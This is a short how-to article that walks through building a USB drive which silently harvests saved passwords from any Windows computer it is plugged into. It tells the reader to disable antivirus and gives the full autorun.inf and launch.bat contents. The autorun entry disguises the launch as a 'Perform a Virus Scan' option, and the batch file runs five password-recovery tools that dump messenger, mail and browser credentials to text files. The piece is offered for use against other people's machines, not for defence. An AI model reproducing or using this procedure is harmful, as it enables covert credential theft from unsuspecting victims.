How to Sniff Passwords Using USB Drive

Sniff Passwords Using USB Drive As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer.

NOTE: You must temporarily disable your antivirus before following these steps. 1. Download all the 5 tools, extract them and copy only theexecutables(.exe files) into your USB Pendrive. ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exeand passwordfox.exe into your USB Drive. 2. Create a new Notepad and write the following text into it[autorun] open=launch.bat ACTION= Perform a Virus Scan save the Notepad and rename it from New Text Document.txt to autorun.inf Now copy the autorun.inf file onto your USB pendrive. 3. Create another Notepad and write the following text onto it.start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt start iepv.exe /stext iepv.txt start pspv.exe /stext pspv.txt start passwordfox.exe /stext passwordfox.txt save the Notepad and rename it from New Text Document.txt to launch.bat Copy the launch.bat file also to your USB drive. Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on  any computer to sniff the stored passwords. Just follow these steps 1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive). 2. In the pop-up window, select the first option (Perform a Virus Scan). 3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files. 4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
